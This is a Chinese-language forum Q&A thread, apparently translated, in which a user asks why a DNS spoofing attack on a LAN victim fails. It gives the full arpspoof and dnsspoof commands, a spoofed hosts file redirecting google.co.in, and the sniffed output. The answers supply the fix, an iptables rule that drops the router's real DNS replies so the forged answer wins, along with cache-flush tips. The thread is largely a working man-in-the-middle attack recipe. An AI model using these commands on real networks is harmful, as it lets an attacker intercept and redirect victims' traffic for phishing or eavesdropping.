DNSspoof 不起作用

信息安全 攻击 dns dns 欺骗
2021-08-21 01:13:16

我的目标是 DNSspoof。

我的网络使用的是地址为 192.168.1.1 的无线路由器,主 DNS 与路由器地址相同。

我在 Linux 中启用了内核 IP 转发。

DNS 主机文件是 spoofhosts.txt

173.252.74.22  google.co.in

我的受害者机器是 192.168.1.224

我已经使用 ARPspoof

#sudo arpspoof -t 192.168.1.224 192.168.1.1 -i wlan0
#sudo arpspoof -t 192.168.1.1 192.168.1.224 -i wlan0

我已经完成了 DNSspoof

ashok@c:~$ sudo dnsspoof -f spoofhosts.txt -i wlan0 host 192.168.1.224 and udp port 53
[sudo] password for ashok: 
dnsspoof: listening on wlan0 [host 192.168.1.224 and udp port 53]
192.168.1.224.15703 > 192.168.1.1.53:  32219+ A? google.co.in
192.168.1.224.15703 > 192.168.1.1.53:  32219+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53:  3788+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53:  3788+ A? google.co.in

我收到了上述回复,但 DNSspoofing 对受害者不起作用。

但是,我在 Wireshark 中观察到了受害者系统。它给了我这个信息,因为我观察到 DNS 响应来自路由器的速度比我快。

DNS 查询

请参阅直接从具有有效 Google IP 的路由器给出响应的第二行。

如何解决这个问题?这是 DNSspoof 命令的问题吗?发生了什么事?

3个回答

最后我得到了它!

Dnsspoof 不能修改 DNS 数据包,它只能发送另一个带有欺骗地址的准备好的数据包。但真正的数据包首先到达受害者,受害者的计算机只考虑它。

解决我们的问题是阻塞真正的数据包。我使用具有十六进制特定地址的 iptables 进行了此操作:

# iptables --append FORWARD --match string --algo kmp --hex-string '|e1 e0 68 2d|' --jump DROP

当您以正确的方式连接服务器时,您可以在 Wireshark 或其他嗅探器中找到您的网站目标 ip。

我知道这不是最好的方法,但它有效:)

在尝试 DNS 欺骗之前,请尝试刷新所有相关客户端上的 DNS 缓存。

Windows上,打开一个终端类型:ipconfig /flushdns

Linux 上,打开终端并输入:sudo /etc/init.d/nscd restart

Mac OS X上打开一个终端并输入:sudo dscacheutil -flushcache

阻止来自预期 DNS 服务器的 DNS 回复不起作用(至少对我而言)。受害者的浏览器正在等待原始回复,如果没有到达,它就会超时。浏览器显示“服务器超时”。